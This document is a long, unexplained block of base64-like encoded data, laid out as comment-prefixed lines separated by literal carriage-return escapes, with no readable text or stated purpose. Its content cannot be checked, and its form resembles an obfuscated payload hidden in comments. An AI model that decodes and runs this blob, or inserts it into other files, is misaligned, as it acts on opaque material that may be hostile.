Ebbbnw3UszLYDtNtawGjbK+Ak204wzvY6GG9rBR22t0CnbVe4P5tmewfMsnWAM2xdYLbtfTDH9iGYa/sIzLP1QH+h7TPZe7Y+2Xu\r\n# 2/bL3bN/L3rP9LHvPxuzwnk1nx1nAZgArbCa7nlXbgsBaWwgkM0ImgNkhE8GcELvdwi4NOQ0ngtyQKPz7jyFn4t95ITFIzQ+ZbNe\r\n# wuSHnjMPMDYmDhpKQKWBpSDJYFpIOlodMBReGnAG6Qs4GK0LOB6tCsuV6Qy6FPT+G5OKUcfK4WdCTNe4KyGeMuxrMHjcbzBl3I5g\r\n# 77s+o6/pxC5Bz3riHwfnjHgG/G/coOPmox3DN7zjqdmhzHlUs1xs6X6439AG53tCH5XpDF8r1hi6W6w1dJrc3dBVYF1oL1oduALe\r\n# GbgYbQp8CG0Mb0cY5458HC8c3g0XjXwKLx78Clox/DSwd34oa68a/DdaPbwe3jt8DNoz/EBpax38M7hrfC7aP/wrsG/8N2D/+B3B\r\n# g/BA4OF6I0LOh8X4gm2CMwFo6IQj/jptgBeMnhIKOCRMjdCxrQiQ4Y0I0JPkTYsDZE44HCybER8CGCUlg/YQ0cOuEU8GGCZlg44T\r\n# pYHPYeWBL2IXgzrAcsDXsj+CusKsiLGzuMdfh33nhBeDs8LlgQfht4JzwO8HC8BKwOPx+sCT8IbAs/FGwPNwFLgyvBF3hK8GK8DV\r\n# gVXgdWB3+BFgb/qRsW/hfZdvCm2Tbwl+UbQt/RbYt/A2wKXyXbGF4h2xh+HuyheF/ly0M75EtDP8cbA//GuwK/xbsDh8E94b/Ava\r\n# EayKxBob7g33hEtgfHgwOhI8DB8OPBofC7SCzHwtq7ceBAfaTQMnuAIPsqaDNfgoYav8DGGafBtrt54LR9gvASfZLwDh7LhhvnwU\r\n# 67NeCTvufwAz7HHCq/VYw034HOM1+D5hlLwVn2BeA2fa/gDn2RWCuvQLMs68A8+2rwdn29WCBvR6cY98GFtqfAYvsz4HF9mawxP4\r\n# yWGp/HSyzvw2W29vBhfY9oMv+IVhh/xissveC1favwFr7N2C9/Qdwq30IbLALUfC83Q9sshvBZnsQ2GIPAXfaJ4Ct9nCw3R4Ndtk\r\n# ng932E8G99kSwx+4Ee+0ng33208F++1nggD0LHLTPBIfsF4Ms4nJQG5EHBkRcA0oRN4BBETeDtohCMDRiHhgWcTdoj7gPjI4oAyd\r\n# FPALGRTwOxkcsBR0RVaAzogbMiFgHTo3YBGZGbAWnRTwNZkVsB2dEvABmR7SAORGvgbkRb4F5Ee+CsyO6wIKID8DCiH1gUcRnYEl\r\n# EH1gasR8si/geXBjxM+iKYNHwbYQOrI8wgFsjAsGGCBvYGDEe3BVxDNgeEQX2R0wCByJOAAcjEsChiBSQRWaA2sjTwIDIM0Ep8hw\r\n# wKHIGaIu8CAyNvAwMi7wStEfmg9GR14OZkTeB0yJvAbMii2R7Iu8C6yLvla2KfFC2KrJctiryMdmqyCVgU+RysDmyGtwZuRZsjdw\r\n# oWxu5RbY2sgHsinwW7I78G7g38iWwN3In2Bf5ptyWyHfktkR2ym2J7JbbEvmR3JaoT0FH1JegM6ofnBr1nWxn1E+ynVH/lO2M0h6\r\n# LvojSg9lRZjAnygrmRoWCeVETwfyoSHB2VCxYEBUHzomaAhZFJYPFUelgSdRUsDTqDLAs6mywPOp80BWVDVZEXQpWRV0BVkddDdZ\r\n# GzQbrom4E66P+DG6Nuh1siCoGG6Pmg01RD4AtUQ+DO6MWgj1Ri8HeqGVgf9QqcCCqFhyM2gBK0ZvBoOinQFt0Ixga/TwYFr0DtEe\r\n# /eqyZRUe3gpOiPwHjogfB+OjAGHgpOgbMiD4eLIiOB1uik8Cd0Wkx2COiTwV3RWeC7dHTwa7o85DaHX0h/r03Ogfsif4jJL3RV+H\r\n# ffdHXgf3RBeBA9FywNqYErIu5H6yPeQjcGvMo2BDjAhtjKsGmmJVgc8wasCWmDtwZ84Rce8yTcu0xf5Vrj2mSa495EeyOeUWuPeY\r\n# NufaYXWBvTIdce8x7cu0xf5drj+kBB2M+B4divgZZ7LegNnYQDIj9BZRiNbF6FhTrD9piJTA0NhgMix0H2mOPBqNj7eCk2GPBuNj\r\n# jwPjYk0BHrAN0xqaCGbGngFNj/wBmxk4Dp8WeC2bFXgDOiL0EzI7NBXNiZ4G5sdeCebF/AvNj54CzY28FC2LvAOfE3gMWxpaCRbE\r\n# LwOLYv4AlsYvA0tgKsCx2BVgeuxpcGLsedMXWgxWx28Cq2GfA6tjnwNrYZrAu9mWwPvZ1cGvs22BDbDvYGLsHbIr9EGyO/Rhsie0\r\n# Fd8Z+BbbGfgPuiv0BbI8dArtihUnwf6wfuDfWCPbEBoG9sSFgX+wEsD82fBJWkuOiwYDjJoPScSeCQcclgrbjnLLkxJNlyYmny5I\r\n# TzwILT5wJFp14MVh84uXQE3dSHuhMuAbMSLgBnJpwM5iZUAhOS5gHZiXcDc5IuA/MTigDcxIeAXMTHgfzEpaC+QlV4OyEGrAgYR0\r\n# 4J2ETWJiwFSxKeBosTtgOliS8AJYmtIBlCa+B5QlvgQsT3gVdCV1gRcIHYFXCPrA64TOwNqEPrEvYD9YnfA9uTfgZbEhgk+HhBB3\r\n# YlGAAmxMCwZYEG7gzYTzYmnAM2J4QBXYlTAK7E04A9yYkgD0JKWBvQgbYl3Aa2J9wJjiQcA44mDADHEq4CGSJl4HaxCvBgMR8UEq\r\n# 8HgxKvAm0Jd4ChiYWgWGJd4H2xHvB6MQHwUmJ5WBc4mNgfOIS0JG4HHQmVoMZiWvBqYkbwczELeC0xAYwK/FZcEbi38DsxJfAnMS\r\n# dYG7im2B+4jvg7MROcE5iN1iY+BFYlPgpWJz4JVia2A+WJX4Hlif+BLoS/wlWJGqPg4cT9WB1ohmsTbSCdYmhYH3iRHBrYiTYmBg\r\n# LNiXGgc2JU8CWxGRwZ2I62Jo4FdyVeAbYlXg22J14Prg3MRvsSbwU7Eu8AuxPvBocSJwNDibeCA4l/hlkjttBraMYDHDMByXHA2C\r\n# Q42HQ5lgIhjoWg3bHMjDasQqc5KgF4xwbwHjHZtDheAp0OhrBDMfz4FTHDjDT8SqY5WgFZzjawGzHbjDH8T6Y59gL5js+AWc7vgA\r\n# LHP8A5zgGwELHj2CR41ewxCEeD386AsAyhwlc6LCALsdRYIUjDKxyRIC1jhiwznE8WO+IBxscSWCjIw1scpwKNjsywRbHdHCn4zy\r\n# w1XEhuMuRA7Y7/gh2O64C9zquA3scBWCfYy7Y77gNHHDcCQ46SsAhx/0gS3oI1CY9CgYkuUApqRIMSloJ2pLWgGFJdaA96QkwOul\r\n# JMC7pr2B8UhPoSHoRdCa9AmYkvQFmJu0CpyV1gFlJ74Ezkv4OZif1gDlJn4O5SV+DeUnfgvlJg+DspF/AOUmaOPgwyR8sSpLA4qR\r\n# gsCRpHFiadDRYlmQHy5OOBRcmHQe6kk4CK5IcYFVSKliddApYm/QHsD5pGrg16VywIemCOA17Ouk2eY9LugSSpqRcsDlpFtiSdC2\r\n# 4M+lP4K6kOWB70q1gV9IdKLUnqUje45LugaQnqRTsTVoA9iX9BexPWgQOJFWAg0krwKGk1SBLXo+yQvId8h6XXI9/65KL5Z0ueRt\r\n# SpeRnIDEl3w1JUPJzkNiSm8HQ5JfBsOTXQXvy22B0cjsYl7wHjE/+EHQkfww6k3vBjOSvwKnJ34CZyT+A05KHwKxk4QT4P9kPzE4\r\n# 2gjnJQWBucgiYlzwBzE8OB2cnR4NzkieDhckngkXJiWBxshMsST4ZLE0+HSxLPgtcmJwFupJnghXJF4PVyZeDtcl5YF3yNWB98g3\r\n# g1uSbwcbkQrApeR7YnHw32JJ8H9iaXAbuSn4EbE9+HOxKXgp2J1eBPck1YF/yOrA/eRM4kLwVHEx+GhxK3g6ylBdAbUoLGJDyGii\r\n# lvAUGpbwL2lK6wNCUD8CwlH0n4No45TNwUkofGJeyH4xP+R50pPwMOlPYibjuStGBU1MMYGZKIDgtxQZmpYwHZ6QcA2anRIE5KZP\r\n# A3JQTwLyUBDA/JQWcnZIBFqScBhamnAkWpZwDFqfMAEtSLgJLUy4Dy1KuBMtT8sGFKdeDrpSbwIqUW8CqlCKwOuUusDblXrAu5cE\r\n# T4dWUcrAh5TGwMWUJ2JSyHGxOqQZbUtaCrSkbwV0pW8D2lAawK+VZsDvlb+DelJfAnpSdYG/Km2B/yjvgQEonOJjSDQ6lfAQy56e\r\n# g1vklGODsByXnd7DE5vwJDHX+Ewxzak/CNa1TD0Y7zeAkpxWMc4aC8c6JJ2GsOiPBDGcsONUZB05zTgGznMngDGc6mO2cCuY4zwD\r\n# znGeD+c7zwdnObHCO81Kw0HkFWOS8Gix2zgZLnDeCpc4/g2XO28FyZzG40DkfdDkfACucD4NVzoVgtXMxWOtcBtY5V4H1zlpwq3M\r\n# D2ODcDDY6nwKbnI1gs/N5sMW5A9zpfBVsdbaCu5xtYLtzN9jlfB/c69wL9jg/AXudX4B9zn+AA84BcND5Izjk/BVkqWI8vJoaAAa\r\n# kmkAp1RIPr6YeBYamhoFhqRGgPTUGjE49HnniUuPB+NQk0JGaBmakngpOTc0EM1Ong9NSzwOzUi8Es1NzwJzUP4K5qVeBeanXgbN\r\n# TC8CC1LngnNTbwMLUO8Gi1BKwOPV+sCT1IbA09VGwLNUFlqdWggtTV4Ku1DVgRWodWJ36BFib+iRYl/pXsD61Cdya+iLYkPoK2Jj\r\n# 6BtiUugtsTu0AW1LfA3em/h1sTe0Bd6V+Dranfg12pX4LdqcOgntTfwF7UjVT4NVUf7AvVQL7U4PBgdRx4GDq0eBQqh1kaceC2rT\r\n# jwIC0k0ApzQEGpaWCtrRTwLC0P4D2tGlgdNq54KS0C8C4tEvA+LRc0JE2C3SmXQtmpP0JnJo2B8xMuxWclnYHmJV2DzgjrRTMTls\r\n# A5qT9BcxNWwTmpVWA+WkrphhZQdrqKRZ2Y1rWJCObk7YJkqK0BrA47XnkKU17BSxLewNcmLYLdKV1gBVp74FVaX8Hq9N6wNq0z8G\r\n# 6tK/B+rRvwa1pg2BD2i9gY5omAX5O8web0ySwJS0Y3Jk2DmxNOxrclWYH29OOBbvSjgO7004C96Y5wJ601ASc5dNOAfvT/gAOpE2\r\n# DfCjtXJClXwBq0y8BA9JzwaD0WaAt/VowNP1PYFj6HNCefisYnX4HOCn9HjAuvRSMT18AOtL/AmakLwKnpleAmekrwGnpq8Gs9PV\r\n# gdno9mJO+DcxLfwacnf4cWJDeDM5JfxksTH8dLEp/GyxObwdL0veApekfgmXpH4Pl6b3gwvSvQFf6N2BF+g9gdfoQWJsuJMKf6X5\r\n# gfboR3Joe9P9Yu/OwJu797/+TTIJarBL3tQaDVetQ9zXbICig4IY7LqFhV0BEXBqtCUmg1lpqrWdKrYfYuNSqVavWWmsNB6211lp\r\n# rqbWIBIKiIiKiba213q/Pm3id8z3X/buu331f9+F6vh/zmRlCMiQQ/KMH87C2I+bn2m6YHm0vzG+0IZjfaftj/qB9GfMn7VDMq9p\r\n# RmF6tHvOmdizmHW0k5j1tDOYD7VTMP7QzMf/SxmNyOhNmS10SZmtdOmaQLguzg24ZZg/dKky17jXMEJ0ds5/udcxBug2Yw3TvYI7\r\n# SSZiiDu/HuQjdNswo3U7MKbo9mNN1BzBn645gztN9gWnSncRM1J3CTNWdxVys+x5zie4S5jLdL5grdRWYq3XVmFZdLaZDdwfzdV0\r\n# j5pu63zDf1j3GfFfHDcM11CkxP9A9h+nStcX8SNcBc6+uK+Zh3QuYn+s0mF/q+mF6dKGYp3RDML/RjcT8TqfD/EEXhvmTbjzmL7q\r\n# JmFd1UzC9uhmYNbq5mDd1CzHv6BIxH+jSMP/QZWL+pcvB5PQrMRX6NZgt9XmYrfUFmEH6NzE76DdidtH/A7OHfgtmiN6F2U+/A1P\r\n# Qf4w5SL8fc5j+MOYo/TFMnf4rTFFfihmh/wYzRn8ec4r+R8zp+suYs/VXMefpqzAT9TcwF+vrMJfo72Eu0z/EXKn/E3O1/immQ68\r\n# Yjuupb4X5tr4N5rv69pjv6btgfqDvibld3xvzI31fzL16AfOAfjDm5/oRmF/qtZin9CLmN/pxmN/pJ2D+pJ+M+Yt+OuZV/RzMGv0\r\n# CzJt6M+Y9fSrmA30G5h/6pZh/6VdgcobVmAqDbTj+9jfkYwYZ1mN2MLyN2cWwGbOH4f3hLbgQQzFmP8OHmIJhB+Ygw0eYwwx7MEc\r\n# ZPsHUGQ5iiobDmBGGo5hRhi8wYwwnMKcYPJjTDaWYsw1fY84znMU0Gb7DTDRcwEw1/Ii52FCGucTwC+YyQznmSsM1zNWGKkyroQb\r\n# TYajFfN1wG/NNQz3m24Z7mO8amjDfM/yG+YHhEabL8BfmdsNTzI8M8hEtuL0GJeYBQ0vMw4ZAzM8NbTC/NKgwPYYOmKcMnTG/MXT\r\n# D/M7QE/MHgxrzJ4MG8xfDi5hXDf0xvQYBs8YwEPOmYcgIXG3DcMwHhjGYfxiMmH8ZIjA5YzRmS+MkzNbGOMwg42zMDsb5mD2Mr2C\r\n# qjSmYIcbFmP2M2ZiCcTnmMKMFc5TRiqkzOjFF4xuYEcZCzCjju5gxxiLMKcZ/Yk43ujFnGz/CnGfch2kyfoqZaDyKmWr8EnOxsQR\r\n# zifFrzGXGc5grjT9grjaWYVqNv2I6jJWYrxtrMN803sJ823gX811jE+YHxj8wXcYnmNuN8pF4xhpbYB4wtsY8bFRhfmnshHnK2B3\r\n# zO6Ma8wdjH8yfjC9h/mIciOk1DsOsMY7GvGM0YD4whmP+YYzC/MsYi8mJ0zAV4izMluI8zCAxAbODmIzZQ1yEqRaXYIaIuSPxzlN\r\n# 8FXOQuBZzmOjAHCWuw9SJb2GK4ibMCPE9zChxK2aM+CHmFHEX5nRxL+Zs8SDmPPEzTJN4HDNR9GCmiqcxF4vfYi4RL2AuE3/CXCl\r\n# ewbSK1zAdog/zdfEm5ptiPebb4n3Md8XfMd8T/8L9vBkpG4XHGxmAeS8yEPNBZBDmH5EdMf+K7IbJRfXCVESFYLaM6o/ZOuplzKC\r\n# ooZgdokZhdonSj8K7xKixmCFRkZj9omIwhaipmIOiZmIOi4rHHBVlwtRFJWGKUemYUVFZmDFRyzCnRK3CnB71GubsKDvmvKjXMU1\r\n# RGzATo97BTI2SMBdHfYC5JGob5sqonZiro/ZguiYeYPcz5gi7nzFfsPsZc5Ldz5hT7H7GnMXsEfM9pjrmEma/mF8whZgKzEEx1Zj\r\n# DYmoxR8XcwdTFNGKKMb9hRsQ8xoyK4UbjeR6jxJwS89xo3M+YtpjzYjpgmmK6YibGvICZGqPBXBzTD3NJTCjmspghmPdiRmI+iNF\r\n# h/hEThvlXzHhMLnYipiJ2CmbL2BmYrWPnYgbFLsTsEpuI2SM2DVMdm4kZEpuD2S92JaYQuwZzUGwe5rDYAsxRsW9i6mI3Yoqx/8C\r\n# MiN2CGRXrwoyJ3YH7Pz32Y8zZsfsx58UexjTFHsPR6ZO+Yo9rUil7XJO+YY9r0nn2uCb9yB7XpMvscU26yh7XpCr2uCbdwFw5qQ5\r\n# z9aR7mNZJDzEdk/5kX2vKU8wpUxRjcMtTWmHOntIGc96U9pghcV0w+8X1xBTiemMOiuuLOSxOwBwVNxhTFzcCU4zTYkbEiZhRceM\r\n# wY+ImYE6Jm8xuOW46u+W4OeyW4xZgmuLMmIlxqZipcRmYi+OWYh6IW4H5ZdzqMS9zHNdNYSMHCPnkUKGQ1AqfkOHCUXKicJqME86\r\n# R8cJF0ixcJhcJ18kc4QlpEXgt0y6EkuuFMdowuEkQtQnkOK2NnKDdRk7WlpDTtVXkHK1MxlygDSbNWpFM1YaRGVoTuVSbQK7QWsn\r\n# VWhtp07rIfO02cr3WLWOP922th9abtSXk+9pSsljrJbdrq8jdWk7O/EQrIw9p1eTn2mDyhFYk/6U1kWe0VvI7rYu8qOV45s9aGVm\r\n# uVZNerUhe15rI21or2aC1wy3CA62L1k+0bp7dX7nOQ+sWOi/ZWueDbkGl4xRs3V2nJtU6jYLt76Oz0nqgzkUO03nI0boS0qDzkuG\r\n# 6KjJKxymZsToZOU2nJmfpRHKezkQm6Kxkss5FLtJVkUt0sgBmri6YfFUXRq7VJZAOnY1cp7PDPcJbpEWQdNtof4nOTfu/Ji3CBV0\r\n# J7X+kK6X9f5MWoYXeR+vBpEUYo+dbsHUiaREy9GZaS6RFcOltLdjtfKu30/4LpEX4Rb+N9ssNavzQOSS0II8LHQy2lmx/V4P6OXb\r\n# dXzC4nmNrjcFD9jPIgpihhmByiMEaxM4bafCQOgOnYoYZPOR4g5ecaFC3Y04xiOQMg5Wca3CRCw0eMtHgJdMMXHtmpkFN5hhEcqX\r\n# BRK4xWMk8g609ux8FBhet3zRso/VGg4fW/zB4yS0GrgPTZVCTOwwi+bHBRO43WMnDBhssFY4ZXLT+yuAhSw1e8hsD15F53sDDc8K\r\n# PBjWtLxs0tL5qEGldZQin9Q2DidZ1Bit5z+AiHxo85J8GrhPzqUFNKozhndjntTKaaN3GaCXbG11kF6OH7Gn0kr2NXGdmX2NwZ/a\r\n# 4BaNI68HGMFqPMJporTUm0Fo0Wmk9zmij9QSji9aTjV5yupHrwpxjVJMLjCJpNprIVKOVzDC6yKVGD7nC6CVXG7mu9PPUqCbzjSK\r\n# 53mgi3zZayc1GW1f6uWN00brYuI3W240eWu82ltD6E6OX1oeMVbT+3Mh1Y+sTRlk3+rljVNP6jDGY1t8Zw8iLRhPt/9mYQOtyo5X\r\n# WXqOLvG70kLeNXrLByHVnPjCqyUdGkfzbaCJ50Uq2FF3k86KHbCd6yc4i14PZQ1STwaJIviiayAGilRwk2nqw+zNcdNF6jLiN1kb\r\n# RQ+sIsYTW0aKX1pNEriczTlSTs0WRnC+ayFdEK5kiusjFoofMFkt6sttZLnppbRG5F5hWUU06RZF8QzSRhaKVfFd0kUWivRd7Hv5\r\n# TLCXdokbN/EgMJ/eJpcHMT0WuN/s6R0W+N1t/KappXSKK5NeiiTwnWskfRBdZJto17PxfRa+GrStFLoRZI8rIW6KavCuKZJNoIv8\r\n# QreQT0UvKw7g+9HshTE22DhNJVZiJ7BRmJbuHuUh1mIfsE+YlXwrjXqTfE2HhL7L7MyzM3Jc5Oszal35PhLnI8DAPGRXmJWPDSvu\r\n# x86aFmfszZ4VZB9DviTAXmRBmF9jP22TSImSFuWldRFqED8NKaf0daRHKwny0fkpahJZj+VC2HkJaBO1YDbwkJI0NJzPHmskVY+1\r\n# 0npW0COvGmgex9xmHxtrJY2Pd5MmxvsHsfp4eyw9hfjtWM4R+z5B7hEdjw4bQ9QwPp/0tyHJhcLiZ1qPIcuGVcDv0CWmkRdge7oZ\r\n# 1wvckHgfZJDwNL6V1QEQpnT8owkfnLSWbhFWkRbBG8EOZH5M+4acIzVB2vNs4De0PJuuEiePMtJ5Glgurx9nhY8FOlguvkxahcJy\r\n# bPEaWCz7ysXB7XCntbyDLha7jS2m/erxvKLsefcb7hrH9L5EWYTD5WIgfLxvOrotpfBiZNN43nJ2XTlqEbPKxsGU8P4Ltd5EWYRf\r\n# 5WLg4XkP+TJYL5aRFqB5vpv2tI820X0VahC6Rdto/liwXIkmLMCnSTftXkuXCGtIiOCJLaf0JaRGORPIj2bqStAg3IjW0DorS0Lp\r\n# zVDitw0iLEEU+FpZGJYyk949RZlqvJi2CjSwX9kTZ6PinUXZaHyUtwldRbvIm+VhoF+2m452jS8kXSIvQJ9pHTiYfC6vIcuG1aH4\r\n# U2+8ky4X90ZpR7PvxWXTCKPb1jkebae2JttH6dLSbzv+WLBceRJfS+jFZLvSZ4BvFbl8g8X0ky4X4Cfxotn6FLBfenKCh9SayXDg\r\n# xIZzWp8hy4e4EM60fkuVCr4nMx8KLE93kALJcGERahJETS8kEslxYP9FH63fIcuHLiZoxzFIS9598LDyYaCYfkRbhb7Jc6Bdjp/V\r\n# AslyYQz4WTDFu2p9ElguFMaXkP0iLsDXGR+szpEX4PobXsvUfpEV4GqPRstvpH6uh/S+TFmF4bDitF5IWITnWTOu3SbxPjbWTJWS\r\n# 5UBfrpvV9slzoMamU1hqyXIid5KP1dHKP8NokXsf2F5AW4a1JGlp/TlqEk5PM5C2yXGg/2U7rbmS5EDHZTU4k8XNgcqmO3e5qEs+\r\n# fyT46vp+0CJ9N5vXscXpJi3CdLBfaTtGQnUiL0HNKOJ0XSVqEGLJcWD7FTOs15GNhF1ku7J1iJw+RFuGLKW6yhiwX2kwtpfM7krj\r\n# /JO7/VN7A1hPJciF3qoZcTeLnGGkRXp8aTn5KlgtXp5rpuI/E64wsF9pNs5NdSYugnuam9QTSIkyd5qO1hbQIedN4I91/0iIcmhZ\r\n# O6woS93+amdZt4sy07hhnp7WRtAjj49zkErJceD+ulNbbyHLhXJyP1j+S5cJfcbxIf/9OZ5YLodM1Inscw8hyYTRpEcTp4bROJ/H\r\n# zdLqZ1ltI/J6cbie/I8uF36a7ySfkY0Exw03HW80oFdnPiaEzfLQeReL31Qw+jK3TyMfCJrJceG+GhvYXk+XC2RlmWv9APhb+JMu\r\n# FpzPstD9gJnOPMGimm9ajyT2CeaaP1otJvA5nho3lOD5068zwsfR6I/cI/WeZx7LjQ8jHwmjSIhhmuWl/Kon3CbM04fQ+gcTjn2U\r\n# mvyP3CL/NspNPSbxPmO2m9RAS7xNm8xFsnURahMzZGlq/R+L7NTucPEfuER7ONtP6b3KP0G+OndaDyT1C/Bw3rRNJ/N06p2oce3z\r\n# SnKpI+vt0ji2a+fecbSQ/t4RsObd0Kjv/edIidJrro7VIWoToufw09v4lZ65mGr2OSbyO53qms8/fP9dLHp7rm86+r8fmcjPY+qu\r\n# 5/Ay2Lp2rpvU3c820Pj/XTv44101enltKXp3rI6vm8jPp77G54WTdXDN5b24p+XCuj/xzrmYW8+nccFIRbyZbxdvJNvGlZPt4H9k\r\n# lnp/N7BmvIXvHl5J94/k5TCFePYfdz8HxGlqPiBdprY0Pp7UYbybHxdvJCfFucnJ8KTk93kfOidfMZS6IF+fSvwPFh9M6Nd5E64x\r\n# 4M62XxvvIFfGaeObqeDNpi/eR+fG+ecz18Zr5zLfjw8nN8Xby/Xg3WRxfSm6P5xcwd8dryE/i7eSh+FLy83gfeSKeX8j8V7yGPBN\r\n# vJ7+Ld5MX433kz/EaE7M8Ppz0xpvJ6/F28na8m2yILyUfxPvIR/F8AvPveDPJz7MnsOdNS9IiqOa5aa0lLULEvFJaZ5IWYcU8H62\r\n# 3kXi/OY9/ha1/Ii1CxTwNrVvM19A6aH44rceQFiF8vpnWGaRFWD7fTmsXaRF2z3fT+hJpEa7OL6V1wIJSWrdd4KP1aNIijF3Am9l\r\n# 6MWkRchdoaF1MWoSPFoTT+kfSIpQvMNNaudBM6zYL7bQeRVqEsIVuWi8iLcKyhaW0/ieJ96MLfbS+SFqEXxfyiWytMDEtwvMmDa1\r\n# Hkvi5bAqndTppEXJMZlpvJS3CTpOd1j+QFuGKyU1rPsFN69YJpbQeQVoEY4KP1mmkRViawCex9QekRdiRoKH1BdIi/JIQTmv5K+G\r\n# 0DnzFTOvhJH5uvmKndSqJ3xuvuGm9hcTfJa+U0vp70iJcfsVHa5nZR+vnzHwyWw8jLYLerKF1Confc+ZwWr9PWgS32Uzr86RF+Nl\r\n# spzWXaKd1q0Q3rYeSFkGXaE2nfydMdJGLEr3kkkRuEf07YaJIvppoItcmujLo3wkT3eS6RA/5VmIpuSnRl8Ge9+8l8pnMrYka8sP\r\n# EcHJXojuTnbc3sZQ8mOgjP0vks+h9dKKd9CS6ydOJpeS3iT7yQiK/hPlTooa8khhOXks0k75EO3kz0U3WJ5aS9xN95O+JfDbzr0Q\r\n# NKUsSyYCkcDIwyUQGJZnJjklWsluSneyV5CJDktxk/yQP+XJSKTk0yUuOSvKR+iR+KXNskoaMTBLJmKRwcmqSiZyZZCbjk6ykKcl\r\n# OJiW5yPQkN5mV5CGXJZWSq5K85GtJPhLPshzm60k8uSFJTb6TpCGlJJH8ICmc3JZkIncmmck9SXbyQJKbPJJUSn6R5CNPJnHLmKe\r\n# SePJskpr8PklDXkoSyV+SwsmKJBNZnWQma5Os5J0kO9mY5CJ/S3KTj5NKSS7ZRyqT+Vzmc8kasm1yONkh2Ux2TS4lX0j2kZpkfjm\r\n# zX7KGDE0OJ4ckm5ez59/IZDupS3YvZ7/Xw5K9dHxCMreCOTlZQ05PDifnJJvJBcn8Svp9lqwhU5PDyYzkUnIpGRi6ItlH69VkYKg\r\n# t2b6KrfOT3eT65FLy7WQfuTlZ8yrz/eRwsjjZTG5PtpO7k93kJ8kaC/NQcjj5ebKZPJFcamGP41/JPvJcMr+aXh/JGvJKcjh5Ldl\r\n# M+pLt5M1k92p2fn1yKa1/S/aRj5P5NXT9UzSkMiWcfC7FTLZNsZMdUtxk15RS8oUUH6lJ0bxG1z8lnAxNMZNDUuzkyBQ3qUspJcN\r\n# SfOT4FH4tc2KKhpxCBobOSAmn9VwyMHRhipnWiWRgaFqKndaZZGBoToqb1ivJwNA1KaW0ziMDQwtSfLR+kwwM3ZjCW9n6H2Rg6JY\r\n# UDa1dZGDojpRwWn9MBobuTzHT+jAZGHosxU7rr8jA0NIUN62/IQNDz6eU0vpHMjD0coqP1lfJwNCqFN7G1jfIwNC6FA2t75GBoQ9\r\n# Twmn9JxkY+jTFTGtFqpnWrVLttG5DBoa2T3XTugsZGNoztZTWvcnA0L6pPloLZGDo4FQ+j61HkIGh2lQNrUUyMHRcqpnWE1JNG+j\r\n# 1kWolp6eq99DrI1UkF6R6D9DrI5U7SK+PVBeZkeohl6YmfsZx7UNXpJqO0+sj1UraUl1kfqqHXJ/q/ZJeH6ncCXp9pKrJ91NFsjj\r\n# VepJeH6kucncq+//dax/6SWoEeSjVdZpeH6ke8kSql/xXKvc180yqmvwuVSQvprq+Y/6c6iHLU72kN5U7z7yeqiZvp4pkQ6p4gfk\r\n# g1UQ+SrWSf6e6SD7NQ7ZM85LPp3E/MNulqcnOaSLZI81EBqd5LjJfTPOSA9K4H5mD0tTk8DSRHJNmIo1pVjIizUVGp3nISWleMi5\r\n# NvMScnWYi56dZyVfSXGRKmukn5uI0K5md5iKXp3lIS5qXtKZxZUxnmpp8I00kC9NM5LtpVrIozUX+M81DutO85Edp3M/MfWkm8tM\r\n# 0K3k0zUV+meYhS9K85Ndp3GXmuTSR/CHNRJalWclf01xkZZqHrEnzkrfSuF+Yd9PUZFOaSP6RZiKfpFlJebqLbJHuIVune0lVetV\r\n# VZqd0WQWze3owqU5PqGT2SbeRL6VvIweml5DD0qvI0ekyL9OQHkyGp4eRUekJZGy6jZyWvo2clV5CzksPrmImpIeRyekJ5KJ0G7k\r\n# kfRuZm15CvppeRa5Nl1UzHenB5Lr0MPKt9ARyU7qNfC99G7k1vYT8ML2K3JUu8zH3pgeTB9O9t5ifpXO3mcfTg+8yPemme8zT6Vb\r\n# y23QveSGda2T+lB5MXkkPI6+lm0hfupW8mV5C1qdHBMq47qH30xPJfosUbZgLFoWQ7y5KbM/8dtH2DswrixQdmTWLHGTDIkUn5l+\r\n# Lwl6W4fZaLU4g2yy2ke0XbyO7LC4hey6uInsvlg1k9l0cTAqLw8jBi7cNY45YnDiK3a52sSlGxh0SEhd7J8s4TWj24lNT2f5XFyd\r\n# OYx5YXEPeWOyIY/bICJnOnJYRkcp8PWN7Oj2OjG0Z7HZdGSXkjozETLb/44zt5JGMqiy235ORsJR5OsNGfpuxjbyQEZzD/CkjjLy\r\n# SkUBeywjLZfoyXCuYNzM8ZH2Gl7yfUUX+nsH+/9rwvjZDRsoy1WRAZjAZmCmSQZkmsmOmleyW6SJ7ZXrIkEwv2T+TW8V8OVNNDs0\r\n# UyVGZJlKfaSXHZrrIyEwPGZN5ai17vFMzI6zM+ZkOMiPTYWOuyqwh12U68pibMz157PO2ZZ6i9c5ML60PZyba2fpY5inyTOZ2B/N\r\n# SZg15PTPCyWzMdJDyrBqyTVZIPrNXViI5IOsUqc2qISOzFAXMuKwQMi0rgszNSiRtWdvJDVmK15nFWSHknqwIsiRrO3k+q4asyjq\r\n# 1jlmfFfEG81GWg1QtOUX2XBKynhm6JIIcvSSRHLfEQcYv2U6mLDlF5iypIQuWhLzJ3LTEQbqXbCf3LzlFHl9SQ15cotjArFgSQt5\r\n# aEkE+WZJItsp2kN2zt5Oh2adIY3YNOSE75C3mzOwIMjV7O7ks+xRpza4h38xWFDLfyw4h92Yr3mZ+np1IfpNdQ/6UHbKRXr/ZIe8\r\n# w72U7SG5pyCZm66WJZJelineZLy5NJIctjdjMFJc6yGlLa8gFS0P+wcxa6iAtS0+Rby5VSHR/liaSHy11kIeXbic9S0+RPy+tIau\r\n# XKt5j3l0aQf65dDvZOucU2SWnhnw5J6KIOSbHQU7KSXyfOTenhkzOCdnCfC0nkXwj5xT5fk4NuTNH8QHz05wQ8pucCPKnnETSm+M\r\n# gH+ScIrllIVuZQcsiyB7LEsl+yxykYdl2csKyU+TMZTVk+jLFP5nLl4WQry+LIN9flkjuXeYgjy47RZYuqyHLlkUU0/N2WSJZv8x\r\n# BPlq2nVTmniK75m53MfvkKrYxh+dGkBNyHeTM3O3kK7mnyMzcGnJ1bsSHdF1yE8l/5DrIj3K3k5/lniK/y+U+Zq/zX3LVZEWuiaz\r\n# OtZK1ud49zDu53F5mY654gPlbrol8nCt+yeSWm0jlciv53HIX2Xa55ytmh+Vesuty7iTzheVqUrNcJPstN5Ghy11lzCHLPeTI5a4\r\n# rTN1yDxm2XPyVOX65iZy43EpOWe4iZyw31TPnLi9Ryjk+dOHyKrJkuSyAqVkRTDpXJJC1K2TPM6NXVgUx962UqZhtVwWT2avCyEu\r\n# 